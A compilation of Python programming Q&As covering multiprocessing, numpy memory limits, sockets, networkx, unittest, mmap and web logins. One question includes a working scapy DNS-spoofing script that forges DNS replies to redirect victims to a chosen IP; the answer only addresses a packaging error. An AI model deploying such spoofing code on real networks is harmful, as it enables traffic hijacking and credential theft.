is not going to be frozen to produce a Windows executable.
UPDATE: Here is my edited script, but it still leads to the exact same error
after it spawned the processes for GridSearchCV. Actually, quite some after
the command reported how many folds and fits it will do, but other than that I
don't know when it crashes. Shall I put freeze_support somewhere else?
import scipy as sp
import numpy as np
import pandas as pd
import multiprocessing as mp
if __name__=='__main__':
mp.freeze_support()
print("Started.")
# n = 10**6
# notreatadapter = iopro.text_adapter('S:/data/controls/notreat.csv', parser='csv')
# X = notreatadapter[1:][0:n]
# y = notreatadapter[0][0:n]
notreatdata = pd.read_stata('S:/data/controls/notreat.dta')
X = notreatdata.iloc[:,1:]
y = notreatdata.iloc[:,0]
n = y.shape[0]
print("Data lodaded.")
from sklearn import cross_validation
X_train, X_test, y_train, y_test = cross_validation.train_test_split(X, y, test_size=0.4, random_state=0)
print("Data split.")
from sklearn.preprocessing import StandardScaler
scaler = StandardScaler()
scaler.fit(X_train) # Don't cheat - fit only on training data
X_train = scaler.transform(X_train)
X_test = scaler.transform(X_test) # apply same transformation to test data
print("Data scaled.")
# build a model
from sklearn.linear_model import SGDClassifier
model = SGDClassifier(penalty='elasticnet',n_iter = np.ceil(10**6 / n),shuffle=True)
#model.fit(X,y)
print("CV starts.")
from sklearn import grid_search
# run grid search
param_grid = [{'alpha' : 10.0**-np.arange(1,7),'l1_ratio':[.05, .15, .5, .7, .9, .95, .99, 1]}]
gs = grid_search.GridSearchCV(model,param_grid,n_jobs=8,verbose=1)
gs.fit(X_train, y_train)
print("Scores for alphas:")
print(gs.grid_scores_)
print("Best estimator:")
print(gs.best_estimator_)
print("Best score:")
print(gs.best_score_)
print("Best parameters:")
print(gs.best_params_)
Answer: This probably means that you are on Windows and you have forgotten to use the
proper idiom in the main module:
if __name__ == '__main__':
freeze_support()
|
MemoryError when creating and writing
Question: I'm relatively new at coding and was working in python on taking a large
amount (~2.0 GB) of data from an output file and turning it into a readable
and sorted list. My major issue is creating a test file of that size. The
input file will be a long array that is something around 2.56*10^8 (row) by 1
(column) The end result is something around a 6.4*10^7 (row) by 4 (column)
array and displaying it. To create a sample array, I have been using this code
(note that the size is not final, its just as large as I could get it by
increasing the size by powers of 2).
import numpy as np
import subprocess as subp
from array import array
keepData = 1
if(not keepData):
subp.call(['rm', 'Bertha.DAT']) #removes previous file if present
girth = int(8e6) #number of final rows
girthier = girth*4
bigger_tim = np.zeros(girthier) #initial array
File = 'Bertha.DAT'
bid = open(File, 'wb')
for ii in range(0,girth):
tiny_tim = 100*(2*np.random.rand(1,3)-1)
bigger_tim[ii*4]=4
bigger_tim[ii*4+1]=tiny_tim[0,0]
bigger_tim[ii*4+2]=tiny_tim[0,1]
bigger_tim[ii*4+3]=tiny_tim[0,2]
#for loop that inputs values in the style of the input result
line.tofile(bid) #writes into file
bid.close()
This code works for creating files that are 250MB, but they cannot create any
larger than that. Any help is greatly appreciated.
EDIT:
I am also adding in my second code to see if there is a problem there as well
due to large memory usage.
import numpy as np
import pandas as pd
girth = int(24e6)
Matrix = np.zeros((girth,4))
Bertha = np.fromfile('Bertha.DAT',dtype = float,count = -1, sep = "")
for jj in range(0,girth):
Matrix[jj,0] = Bertha[jj*4]
Matrix[jj,1] = Bertha[jj*4+1]
Matrix[jj,2] = Bertha[jj*4+2]
Matrix[jj,3] = Bertha[jj*4+3]
Table = pd.DataFrame({'Atomic Number':Matrix[:,0], 'X Position':Matrix[:,1], 'Y Position':Matrix[:,2], 'Z Position':Matrix[:,3]})
print Table
EDIT: First code runs with up to 24e6 as the "girth" value, but gets the
following error with 32e6:
Traceback (most recent call last):
File "<ipython-input-1-cb13d37b70b9>", line 1, in <module>
runfile('D:/WinPython-32bit-2.7.6.3/Big_Bertha.py', wdir='D:/WinPython-32bit-2.7.6.3')
File "D:\WinPython-32bit-2.7.6.3\python-2.7.6\lib\site-packages\spyderlib\widgets\externalshell\sitecustomize.py", line 540, in runfile
execfile(filename, namespace)
File "D:/WinPython-32bit-2.7.6.3/Big_Bertha.py", line 19, in <module>
bigger_tim = np.zeros(girthier) #initial array
MemoryError
This looks like I cannot create the initial dummy matrix to store values due
to insufficient memory.
The second one has a very similar issue but with a different error at 24e6 as
the "girth" value.
Traceback (most recent call last):
File "<ipython-input-1-268052dcc4e8>", line 1, in <module>
runfile('D:/WinPython-32bit-2.7.6.3/binaryReader.py', wdir='D:/WinPython-32bit-2.7.6.3')
File "D:\WinPython-32bit-2.7.6.3\python-2.7.6\lib\site-packages\spyderlib\widgets\externalshell\sitecustomize.py", line 540, in runfile
execfile(filename, namespace)
File "D:/WinPython-32bit-2.7.6.3/binaryReader.py", line 14, in <module>
Bertha = np.fromfile('Bertha.DAT',dtype = float,count = -1, sep = "")
MemoryError
Answer: The error you receive comes from the fact that python cannot allocate any more
memory.
In your second example you are allocating a numpy table with 32 million rows
and 4 columns. With the usual double precision floats this alone is 1 GiB. The
row `np.fromfile =` needs to load a very big file, as the file length should
match `Matrix`, i.e. you will need to have at least 1 GiB of data from the
file.
And there it is: 1 GiB + 1 GiB = 2 GiB, which is the maximum for 32-bit
python. (And that is why 24 million rows is ok.) That is why the error is
thrown when the data is loaded from the file. Also, the limit is not 2 GiB for
user's data, it is 2 GiB in total, which may be much less in practice.
There are several things you can do:
1. Do not create the empty table. Load the data from the file and reshape it to the shape you want (four columns and as many rows as it takes):
`m = np.fromfile("Bertha.DAT").reshape(-1,4)`
2. Use something else as the data type than float (which is an 8-bit double). If you do not run into precision trouble, use 'float32' (or 'f4'). However, you cannot change the data type in `np.fromfile` as there it determines the data type and order in the file, as well.
3. Use 64-bit python. If you deal with large data, that is the way to go. It consumes a bit more memory in some cases (and a lot in some others, but not with numpy), but if your computer has a lot of RAM, even very large tables work very well.
If you are interested in seeing how much your objects occupy memory, the `sys`
module has a nice function `sys.getsizeof` for they purpose, e.g.
`sys.getsizeof(Bertha)`.
* * *
There are a few stylistic things in your code which you might want to fix. One
is about naming your variables, they should be in lower case (class names are
capitalised). For this type of information it is very useful to read through
the `PEP 8` recommendation. (The name `Matrix` is a bit unfortunate in any
case, as there is something called `numpy.matrix`.)
Another thing that catches my eye is that you are iterating through a numpy
array with a for loop. That is usually a warning sign of something done in a
very slow way. There are rare cases where you need to do that, but usually
there are very concise and fast ways to manipulate the arrays.
|
Python loop to run for certain amount of seconds
Question: I have a while loop, and I want it to keep running through for 15 minutes. it
is currently:
while True:
#blah blah blah
(this runs through, and then restarts. I need it to continue doing this except
after 15 minutes it exits the loop)
Thanks!
Answer: Try this:
import time
t_end = time.time() + 60 * 15
while time.time() < t_end:
# do whatever you do
This will run for 15 min x 60 s = 900 seconds.
Function `time.time` returns the current time in seconds since 1st Jan 1970.
The value is in floating point, so you can even use it with sub-second
precision. In the beginning the value t_end is calculated to be "now" + 15
minutes. The loop will run until the current time exceeds this preset ending
time.
|
Kivy keyboard height
Question: For an app I'm creating in Kivy I would like to know the height of the
keyboard, so I can position the widgets accordingly. I heard plyer
(<https://github.com/kivy/plyer>) is good for cross-platform (I wish to
develop for Android and iOS (and Windows phone)), however it seems it doesn't
cover keyboard control.
How can I get the information about the height of the keyboard in Android (and
iOS)? I program in Python 3 (2.7 would help as well if you don't know it in
Python 3). Hardcoded keyboard height would be bad, as keyboard heights differ.
Answer: The master branch contains some new additions that let you manage this. Using
`Window` (`from kivy.core.window import Window`) you have:
* `Window.keyboard_height` gives the current height of the software keyboard
* `Window.softinput_mode` can be any of `''` (empty) in which case you can use keyboard_height as above, `'pan'` in which case the kivy view is shifted upwards so the keyboard doesn't overlap, or `'resize'` in which the kivy view is resized to fit the space between the keyboard top and the top of the screen.
These are in the doc for [Window](http://kivy.org/docs/api-
kivy.core.window.html).
There isn't really a good way to do this in the current stable release, though
maybe you could call the pan or resize modes with pyjnius.
|
Extracting certain parts of an email using Python (Regex)
Question: I am trying to create a program that will import messages from a particular
folder in Outlook and then extract certain parts in the email.
The emails are of the form: Dear Mr.X,
{Lines of Text} See below.
Client: Company X
Fund: ABCD
Size:
Thanks, Sam
The code i have so far is:
import win32com.client
outlook = win32com.client.Dispatch("Outlook.Application").GetNamespace("MAPI")
inbox = outlook.GetDefaultFolder(4)
messages = inbox.Items
message = messages.GetLast()
body_content = message.body
Can someone help me with the code using regex to extract all pieces of
information in the email that follows the ":" such as Client:CompanyX, etc.?
Answer: You don't need `regex` just
[split()](https://docs.python.org/2/library/stdtypes.html#str.split) the text
on the `:` and get the last element:
In [5]: s = "Client: Company X"
In [6]: print s.split(":")[-1]
Company X
In [7]: s = "Fund: ABCD"
In [8]: print s.split(":")[-1]
ABCD
|
Python networks change color of nodes when using draw_network_nodes()
Question: The goal is to obtain something similar to

To define the graph I use:
import matplotlib.pyplot as plt
import networkx as nx
graph = {
'1': ['2', '3', '4'],
'2': ['5','11','12','13','14','15'],
'3' : ['6','7','66','77'],
'5': ['6', '8','66','77'],
'4': ['7','66','77'],
'7': ['9', '10']
}
MG = nx.DiGraph()
MG.add_edges_from([(start, stop, {'weigth' : len(graph[start]) })
for start in graph for stop in graph[start]])
and the code to plot it is:
plt.figure(figsize=(8,8))
pos=nx.graphviz_layout(MG,prog="twopi",root='1')
for n in MG.nodes_iter():
nx.draw_networkx_nodes(MG, pos,
nodelist = [n],
node_size = 2000 / float(len(MG[n[0]])+1),
node_color = (len(MG[n[0]])+1),
alpha = 1/float(len(MG[n[0]])+1),
with_labels=True
)
xmax=1.1*max(xx for xx,yy in pos.values())
ymax=1.1*max(yy for xx,yy in pos.values())
plt.xlim(0,xmax)
plt.ylim(0,ymax)
plt.show()
There are 2 things here that I would like to know:
* how can I have the color node depending on the number of links each node has (i.e. `len(MG[0])`)?
* where are my labels?
Thanks
Answer: How about this? You can use matplotlib's colormaps to map values to colors for
the nodes.
import matplotlib.pyplot as plt
import networkx as nx
graph = {
'1': ['2', '3', '4'],
'2': ['5','11','12','13','14','15'],
'3' : ['6','7','66','77'],
'5': ['6', '8','66','77'],
'4': ['7','66','77'],
'7': ['9', '10']
}
MG = nx.DiGraph(graph)
plt.figure(figsize=(8,8))
pos=nx.graphviz_layout(MG,prog="twopi",root='1')
nodes = MG.nodes()
degree = MG.degree()
color = [degree[n] for n in nodes]
size = [2000 / (degree[n]+1.0) for n in nodes]
nx.draw(MG, pos, nodelist=nodes, node_color=color, node_size=size,
with_labels=True, cmap=plt.cm.Blues, arrows=False)
plt.show()

|
How to properly detect closed socket in Python
Question: I have a python script that emits an `HTTP POST` with json body which I pipe
to `netcat`and all works fine:
#!/usr/bin/python
body = "{ \"key\": \"Test\", \"value\": \"Test\" }"
print "POST /valSet HTTP/1.1\r"
print "Host: 192.168.10.1\r"
print "Content-Type: application/json\r"
print "Accept: application/json\r"
print "Content-Length: " + str(len(body)+2) + "\r"
print "\r"
print body
$ ./valSet | nc 192.168.10.1 80
HTTP/1.1 200 OK
Server: Innovix
Connection: close
Transfer-Encoding: chunked
Content-Type: application/json
e
{"success": 0}
0
$
As you can see above, the `HTTP` code is sent, `netcat` forwards it to port
80, and the response is successful. More importantly, the connection
immediately terminates after the last `0` appears in the chunked response.
However in my setting I can't rely on `netcat` being there, so I need a self-
contained program. I therefore rewrote the above as follows:
def set():
key = raw_input("Key: ")
val = raw_input("Value: ")
body = "{ \"key\": \"" + key + "\", \"value\": \"" + val + "\" }"
send(body)
def send(body):
s.send("POST /valSet HTTP/1.1\r\n")
s.send("Host: " + SERVER_IP + "\r\n")
s.send("Content-Type: application/json\r\n")
s.send("Accept: application/json\r\n")
s.send("Content-Length: " + str(len(body)+2) + "\r\n")
s.send("\r\n")
s.send(body)
# Get response
while True:
data = s.recv(1024)
print 'Response:', data
if not data:
break
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((SERVER_IP, SERVER_PORT))
set()
This again works, but with a severe drawback: `recv()` executes twice, then
hangs. On the server side it eventually times out with `Client timed out;
closing socket`.
**Question:** Why does the `netcat` version terminate immediately and my
python version blocks on `recv()` until the server hangs up?
Answer: netcat closes the connection because its input (e.g. your python script)
finished and thus stdin of netcat got closed. Your python script which tries
to send a HTTP request to the server hangs because you do make several
mistakes with using HTTP:
* You set content-length to `len(body)+2`, but it it must be only the length of the body, e.g. `len(body)`. That's why the server is still waiting for data from your client.
* You do an HTTP/1.1 request but don't deal with the implicit keep-alive you have but instead expect the server to close the connection. Also you don't deal with chunked responses.
I would recommend to use a http library for doing the hard work, unless you
are eager to learn all the details and pitfalls of doing HTTP. In this case I
would recommend you read the specification first, e.g. RFC2616 (or better:
RFC7230..RFC7235).
|
Reading data out of an ADC (MCP3001) with python (SPI)
Question: I try to read some data from an ADC with python, but unfortunatly it doesn't
work. I hope someone has a hint for me, because my script creates only chaos-
data. But I don't see the mistake with the bits...
I've updated the script below as I'm reading 16 bits and cut of the first and
the last 3 bits. I need the 10 middle bits for the data - if I understand the
datasheet correctly...
**Datasheet MCP3001:** (Page 15)
<http://ww1.microchip.com/downloads/en/DeviceDoc/21293C.pdf>
import time
import RPi.GPIO as GPIO
GPIO.setmode(GPIO.BCM)
HIGH = True
LOW = False
def readAnalogData(SCLKPin, MOSIPin, MISOPin, CSPin):
GPIO.output(CSPin, HIGH)
GPIO.output(CSPin, LOW)
GPIO.output(SCLKPin, LOW)
adcvalue = 0
for i in range(16):
GPIO.output(SCLKPin, HIGH)
GPIO.output(SCLKPin, LOW)
adcvalue <<= 1
if(GPIO.input(MISOPin)):
adcvalue |= 0x01
adcvalue >>= 3
adcvalue &= 0x3ff
time.sleep(0.5)
return adcvalue
SCLK = 11 # Serial-Clock
MOSI = 10 # Master-Out-Slave-In
MISO = 9 # Master-In-Slave-Out
CS = 17 # Chip-Select
GPIO.setup(SCLK, GPIO.OUT)
GPIO.setup(MOSI, GPIO.OUT)
GPIO.setup(MISO, GPIO.IN)
GPIO.setup(CS, GPIO.OUT)
while True:
print readAnalogData(SCLK, MOSI, MISO, CS)
Answer: From a cursory read of the data sheet and your code, it looks like you're
trying to discard the data from the initial 3 clock cycles by converting to a
`str` and using `str` slicing
adcvalue = str(adcvalue)
adcvalue = adcvalue[3:12]
adcvalue = int(adcvalue)
If so, this will not work. `adcvalue` is an `int` and converting it to a `str`
will produce a decimal (base 10) string. Instead, either don't sample data
during the first three cycles, or use a bit mask to strip it from the integer
(ie `adcvalue &= 0x1ff`)
In addition, you seem to be sampling data on the negative clock edge, however
this is when the data is in a transient state. I suspect you either need to
put in a delay here, or sample on the +ve clock edge when the data has
stabilized.
**EDIT**
As stated above, try sampling on the +ve clock edge. Figure 6-1 on pg.16 of
the datasheet shows this. Also it looks like it pumps out 9 bits in MSB
format, then repeats the data in LSB format (see Fig 6-2), so I don't think
you want to keep 10 bits. You probably only need to clock out a total of
12bits, then discard the first 3.
Something like (untested):
def readAnalogData(SCLKPin, MOSIPin, MISOPin, CSPin):
GPIO.output(CSPin, HIGH)
GPIO.output(CSPin, LOW)
adcvalue = 0
for i in range(12):
GPIO.output(SCLKPin, LOW) # reverse order of hi/lo here
GPIO.output(SCLKPin, HIGH)
adcvalue <<= 1
if(GPIO.input(MISOPin)):
adcvalue |= 0x01
adcvalue >>= 3
# adcvalue &= 0x3ff <- commented out this line as should be no longer necessary
return adcvalue
|
scapy OSError: [Errno 9] Bad file descriptor
Question: I'm using python 2.7 and scapy-2.2.0 in windows xp. I'm trying dns spoofing
and it works well in python. but when I make to .exe and execute it, I got
this error
Traceback (most recent call last):
File "dns_spoof.py", line 17, in <module>
File "scapy\arch\windows\__init__.pyc", line 523, in sniff
File "dns_spoof.py", line 15, in dns_spoof
File "scapy\sendrecv.pyc", line 251, in send
File "scapy\sendrecv.pyc", line 237, in __gen_send
OSError: [Errno 9] Bad file descriptor
How can I fix it? Please help.
This is source code.
import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
try:
from scapy.all import *
except:
from scapy import *
def dns_spoof(pkt):
redirect_to = '172.16.22.91'
if pkt.haslayer(DNSQR): # DNS question record
spoofed_pkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)/\
UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport)/\
DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa = 1, qr=1, \
an=DNSRR(rrname=pkt[DNS].qd.qname, ttl=10, rdata=redirect_to))
send(spoofed_pkt)
print 'Sent:', spoofed_pkt.summary()
sniff(filter='udp port 53', iface='eth0', store=0, prn=dns_spoof)
Answer: It looks like a wrong file descriptor (handle) is being used. E.g. something
open as stdout (pipe) is used as a socket.
If I understand correctly, same program works from source and fails when
rolled into an exe. Am I right?
If you ran it on linux, you would use `strace` to figure out which.
Equivalent tools on windows are `Process Monitor` and `Logger.exe`.
|
How to import external library in python?
Question: Hie can anyone help me out with detailed process of downloading & importing an
external library called PyEnchant, to check a spelling of word is valid
english word or not
Answer: The official [PyEnchant
page](https://pythonhosted.org/pyenchant/download.html) asks these
prerequisites before you install:
> **Prerequisites**
>
> To get PyEnchant up and running, you will need the following software
> installed:
>
>
> Python 2.6 or later
> The enchant library, version 1.5.0 or later.
> For Windows users, the binary installers below include a pre-built
> copy of enchant.
> For Mac OSX users, the binary installers below include a pre-built
> copy of enchant.
>
For your convenience there's an exe which should be able to do the above -
[Download
it](http://pypi.python.org/packages/any/p/pyenchant/pyenchant-1.6.6.win32.exe).
If you want to install enchant first, and then pyenchant, then download
enchant from [here](http://www.abisource.com/download/).
Pyenchant is on [PyPi](https://pypi.python.org/pypi/pyenchant/), so you should
be able to
pip install pyenchant
If you don't have pip, then download [get-
pip.py](https://bootstrap.pypa.io/get-pip.py) and run `python get-pip.py`
(this might require you to have admin privileges)
and then in your python prompt,
>>> import enchant
>>> help(enchant)
From the [documentation](https://pythonhosted.org/pyenchant/):
>>> import enchant
>>> d = enchant.Dict("en_US")
>>> d.check("Hello")
True
>>> d.check("Helo")
False
>>> d.suggest("Helo")
['He lo', 'He-lo', 'Hello', 'Helot', 'Help', 'Halo', 'Hell', 'Held', 'Helm', 'Hero', "He'll"]
|
Python change path inside submodule?
Question: I have this project structure:
- main.py
- app_a/
- __init__.py
- app.py
- stubs/
- app.py
- tests/
- test_app_a.py
in `main.py`, there is:
`from app_a.app import foo`
this works fine. However, when running in test environment(which can be
checked by a env variable), I need `main.py` to import from a stub module
(which is in `app_a/stubs/app.py`) instead of the real `app_a/app.py`.
Notice that I can't change `main.py` itself, I can just change the environment
before it runs.
How can I implement this? thanks.
Answer: Why not write as follows in main.py
if env:
from app_a.app import foo
else:
from app_a.stubs.app import foo
|
Performance issue with reading integers from a binary file at specific locations
Question: I have a file with integers stored as binary and I'm trying to extract values
at specific locations. It's one big serialized integer array for which I need
values at specific indexes. I've created the following code but its terribly
slow compared to the F# version I created before.
import os, struct
def read_values(filename, indices):
# indices are sorted and unique
values = []
with open(filename, 'rb') as f:
for index in indices:
f.seek(index*4L, os.SEEK_SET)
b = f.read(4)
v = struct.unpack("@i", b)[0]
values.append(v)
return values
For comparison here is the F# version:
open System
open System.IO
let readValue (reader:BinaryReader) cellIndex =
// set stream to correct location
reader.BaseStream.Position <- cellIndex*4L
match reader.ReadInt32() with
| Int32.MinValue -> None
| v -> Some(v)
let readValues fileName indices =
use reader = new BinaryReader(File.Open(fileName, FileMode.Open, FileAccess.Read, FileShare.Read))
// Use list or array to force creation of values (otherwise reader gets disposed before the values are read)
let values = List.map (readValue reader) (List.ofSeq indices)
values
Any tips on how to improve the performance of the python version, e.g. by
usage of numpy ?
**Update**
Hdf5 works very good (from 5 seconds to 0.8 seconds on my test file):
import tables
def read_values_hdf5(filename, indices):
values = []
with tables.open_file(filename) as f:
dset = f.root.raster
return dset[indices]
**Update 2**
I went with the np.memmap because the performance is similar to hdf5 and I
already have numpy in production.
Answer: Heavily depending on your index file size you might want to read it completely
into a numpy array. If the file is not large, complete sequential read may be
faster than a large number of seeks.
One problem with the seek operations is that python operates on buffered
input. If the program was written in some lower level language, the use on
unbuffered IO would be a good idea, as you only need a few values.
import numpy as np
# read the complete index into memory
index_array = np.fromfile("my_index", dtype=np.uint32)
# look up the indices you need (indices being a list of indices)
return index_array[indices]
If you would anyway read almost all pages (i.e. your indices are random and at
a frequency of 1/1000 or more), this is probably faster. On the other hand, if
you have a large index file, and you only want to pick a few indices, this is
not so fast.
Then one more possibility - which might be the fastest - is to use the python
`mmap` module. Then the file is memory-mapped, and only the pages really
required are accessed.
It should be something like this:
import mmap
with open("my_index", "rb") as f:
memory_map = mmap.mmap(mmap.mmap(f.fileno(), 0)
for i in indices:
# the index at position i:
idx_value = struct.unpack('I', memory_map[4*i:4*i+4])
(Note, I did not actually test that one, so there may be typing errors. Also,
I did not care about endianess, so please check it is correct.)
Happily, these can be combined by using `numpy.memmap`. It should keep your
array on disk but give you numpyish indexing. It should be as easy as:
import numpy as np
index_arr = np.memmap(filename, dtype='uint32', mode='rb')
return index_arr[indices]
I think this should be the easiest and fastest alternative. However, if "fast"
is important, please test and profile.
* * *
EDIT: As the `mmap` solution seems to gain some popularity, I'll add a few
words about memory mapped files.
**What is mmap?**
Memory mapped files are not something uniquely pythonic, because memory
mapping is something defined in the POSIX standard. Memory mapping is a way to
use devices or files as if they were just areas in memory.
File memory mapping is a very efficient way to randomly access fixed-length
data files. It uses the same technology as is used with virtual memory. The
reads and writes are ordinary memory operations. If they point to a memory
location which is not in the physical RAM memory ("page fault" occurs), the
required file block (page) is read into memory.
The delay in random file access is mostly due to the physical rotation of the
disks (SSD is another story). In average, the block you need is half a
rotation away; for a typical HDD this delay is approximately 5 ms plus any
data handling delay. The overhead introduced by using python instead of a
compiled language is negligible compared to this delay.
If the file is read sequentially, the operating system usually uses a read-
ahead cache to buffer the file before you even know you need it. For a
randomly accessed big file this does not help at all. Memory mapping provides
a very efficient way, because all blocks are loaded exactly when you need and
remain in the cache for further use. (This could in principle happen with
`fseek`, as well, because it might use the same technology behind the scenes.
However, there is no guarantee, and there is anyway some overhead as the call
wanders through the operating system.)
`mmap` can also be used to write files. It is very flexible in the sense that
a single memory mapped file can be shared by several processes. This may be
very useful and efficient in some situations, and `mmap` can also be used in
inter-process communication. In that case usually no file is specified for
`mmap`, instead the memory map is created with no file behind it.
`mmap` is not very well-known despite its usefulness and relative ease of use.
It has, however, one important 'gotcha'. The file size has to remain constant.
If it changes during `mmap`, odd things may happen.
|
Problems login in to a website in python
Question: I've been trying to connect python with http/https sites and I came across
urllib and urllib2. After some research I could create a website login but it
seems that I'm doing something wrong, I tried with different webpages but I
can't do it with any. There is the code I've been working on:
import urllib, urllib2, cookielib
#guardar cookies
cookies = cookielib.CookieJar()
#crear opener
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cookies))
user = raw_input("Introdueix el teu nom d'usuari: ")
contra = raw_input("Introdueix la teva pass: ")
login_data = urllib.urlencode({'login' : user,'password' : contra})
sessio = opener.open('http://streamcloud.eu/login.html', login_data)
#en teoria ja esta logejat a partir d'aqui
print "La URL accedida es:",sessio.geturl()
#tanquem la web
sessio.close()
The form of the website is this one:
<form method="POST" action="http://streamcloud.eu/" class="proform" name="FL">
<input type="hidden" name="op" value="login">
<input type="hidden" name="redirect" value="http://streamcloud.eu/?op=upload">
<p>
<label>Username:</label>
<input type="text" style="font-style: normal;" name="login" value="deuseux" class="text_field" />
</p>
<div class="clear"></div>
<p>
<label>Password:</label>
<input type="password" style="font-style: normal;" name="password" class="text_field" />
</p>
<div class="clear"></div>
<div>
<input type="submit" class="button blue medium" value="Submit">
</div>
<div class="clear"></div>
The login form is in this webpage: <http://streamcloud.eu/login.html> while
the action of the form is in <http://streamcloud.eu>, maybe there's where I'm
doing something wrong? If I put a print sessio.read() I can clearly see that
I'm not logged in
Does anyone see something wrong with the code? Thanks!
ps: sorry for my bad english
Answer: Your English is fine :)
There are 2 other hidden input fields on the form which look like they need to
be submitted with your login and password. These are:
<input type="hidden" name="op" value="login">
<input type="hidden" name="redirect" value="http://streamcloud.eu/?op=upload">
I'd guess that `op=login` is required, not sure about the `redirect=...` \-
maybe you don't need that. Anyway, try changing your data to the following and
see if you get any further:
login_data = urllib.urlencode({'login' : user, 'password' : contra, 'op' : 'login', 'redirect' : 'http://streamcloud.eu/?op=upload'})
|
How to: setting a testsuite in python
Question: I know it is a bit silly question, but using links provides below, I am still
unable to create testsuite.
I have now two test cases (there will be much more), let assume that the name
of there are:
class step1(unittest.TestCase):
def setUp(self):
self.driver = webdriver.Firefox()
def test_case1(self):
[...]
if __name__ == "__main__":
unittest.main()
and:
class step2(unittest.TestCase):
def setUp(self):
self.driver = webdriver.Firefox()
def test_case2(self):
[...]
if __name__ == "__main__":
unittest.main()
I want to create other file .py file: testsuite, which can aggregate
test_case1, test_case2, test_case3...
I tried something like that, for example:
import unittest
import step1
import step2
def suite():
test_suite = unittest.TestSuite()
test_suite.addTest(unittest.step1(test_case1))
test_suite.addTest(unittest.step2(test_case2))
if __name__ == "__main__":
result = unittest.TextTestRunner(verbosity=2).run(suite())
sys.exit(not result.wasSuccessful())
> Error: AttributeError: 'module' object has no attribute 'step1'
Answer: You can use
[`addTest()`](https://docs.python.org/2/library/unittest.html#unittest.TestSuite.addTest)
and pass `TestCase` instance to it, you also miss `return` statement:
def suite():
test_suite = unittest.TestSuite()
test_suite.addTest(step1())
test_suite.addTest(step2())
return test_suite
or, in one line using
[`addTests()`](https://docs.python.org/2/library/unittest.html#unittest.TestSuite.addTests):
test_suite.addTests([step1(), step2()])
|
Pandas Series Resampling: How do I get moves based on certain previous changes?
Question:
import pandas as pd
import numpy as np
import datetime as dt
# Create Column names
col_names = ['930', '931', '932', '933', '934', '935']
# Create Index datetimes
idx_names = pd.date_range(start = dt.datetime(2011, 1, 1), periods = 10, freq= 'D')
# Create dataframe with previously created column names and index datetimes
df1 = pd.DataFrame(np.random.randn(10, 6), columns=col_names, index=idx_names)
# Change the column names from strings to datetimes.time() object
df1.columns = [dt.datetime.strptime(x, '%H%M').time() for x in df1.columns]
# This step and the next step changes the dataframe into a chronological timeseries
df2 = df1.T.unstack()
df2.index = [dt.datetime.combine(x[0], x[1]) for x in df2.index.tolist()]
# Show the series
df2
Question: What is the most pythonic/pandas-thonic way to create a specific
list? This list would say 'Every time the difference between 9:32 and 9:34 is
between 0 and .50, what is the difference between 9:34 and the next day's
9:34.
I was doing this with the numbers in a dataframe format (dates along the
x-axis and times along the y-axis) and I would say something like (below is
pseudo-code, above is not pseudo-code):
# Create a column with wrong answers and right answers
df['Today 934 minus yesterday 934'] = df[934] - df[934].shift(1)
# Boolean mask were condition 1 (diff > 0) and condition 2 (diff < .5) are true
mask = (df[934].shift(1) - df[932].shift(1) > 0) & (df[934].shift(1) - df[932].shift(1) < .5)
# Apply the boolean mask to the dataframe. This is will remove all the answers
# I dont want from the df['Today 934 minus yesterday 934'] column
df2 = df[mask]
# Only the answers I want:
answers = df['Today 934 minus yesterday 934']
Answer: My attempt, basically a filled in version of your pseudo-code. Someone else
may have a cleaner approach.
mask1 = (df2.index.hour == 9) & (df2.index.minute == 34)
mask2 = (df2.index.hour == 9) & (df2.index.minute == 32)
diff_934 = df2[mask1] - df2[mask1].shift(-1)
diff_934 = diff_934[diff_934.index.minute == 34]
diff_932 = df2[mask1|mask2] - df2[mask1|mask2].shift(-1)
diff_932 = diff_932[diff_932.index.minute == 34]
diff_932 = diff_932[(diff_932 > 0) & (diff_932 < .5)]
answer = diff_934.reindex(diff_932.index)
In [116]: answer
Out[116]:
2011-01-02 09:34:00 -0.874153
2011-01-08 09:34:00 0.186254
dtype: float64
|
Python web-scraping error - TypeError: can't use a string pattern on a bytes-like object
Question: I want to build a web scraper. Currently, I'm learning Python. This is the
very basics!
Python Code
import urllib.request
import re
htmlfile = urllib.request.urlopen("http://basketball.realgm.com/")
htmltext = htmlfile.read()
title = re.findall('<title>(.*)</title>', htmltext)
print (htmltext)
Error:
File "C:\Python33\lib\re.py", line 201, in findall
return _compile(pattern, flags).findall(string)
TypeError: can't use a string pattern on a bytes-like object
Answer: You have to decode your data. Since the website in question says
charset=iso-8859-1
use that. utf-8 won't work in this case.
htmltext = htmlfile.read().decode('iso-8859-1')
|
Syntax error in a Python library, and I'm not sure how to proceed
Question: I'm using pyramid 1.5.1 and python 3.2, and I just added quite a bit of code
and a couple libraries to my project.
On running development.ini, I'm getting the error below.
If I had to take a wild guess, I would say that this particular library (looks
like Markupsafe?) isn't compatible with Python3...but the project page seems
to indicate that it is. Problem is, I'm not calling this library directly,
it's being used by another library that would be very difficult to replace.
I'm new to Python programming, and I was wondering what my options are here Or
what the best way to debug is?
(finance-env)user1@finance1:/var/www/finance/corefinance/corefinance$ /var/www/finance/finance-env/bin/pserve /var/www/finance/corefinance/development.ini --reload
Starting subprocess with file monitor
Traceback (most recent call last):
File "/var/www/finance/finance-env/bin/pserve", line 9, in <module>
load_entry_point('pyramid==1.5.1', 'console_scripts', 'pserve')()
File "/var/www/finance/finance-env/lib/python3.2/site-packages/pyramid/scripts/pserve.py", line 51, in main
return command.run()
File "/var/www/finance/finance-env/lib/python3.2/site-packages/pyramid/scripts/pserve.py", line 316, in run
global_conf=vars)
File "/var/www/finance/finance-env/lib/python3.2/site-packages/pyramid/scripts/pserve.py", line 340, in loadapp
return loadapp(app_spec, name=name, relative_to=relative_to, **kw)
File "/var/www/finance/finance-env/lib/python3.2/site-packages/paste/deploy/loadwsgi.py", line 247, in loadapp
return loadobj(APP, uri, name=name, **kw)
File "/var/www/finance/finance-env/lib/python3.2/site-packages/paste/deploy/loadwsgi.py", line 272, in loadobj
return context.create()
File "/var/www/finance/finance-env/lib/python3.2/site-packages/paste/deploy/loadwsgi.py", line 710, in create
return self.object_type.invoke(self)
File "/var/www/finance/finance-env/lib/python3.2/site-packages/paste/deploy/loadwsgi.py", line 146, in invoke
return fix_call(context.object, context.global_conf, **context.local_conf)
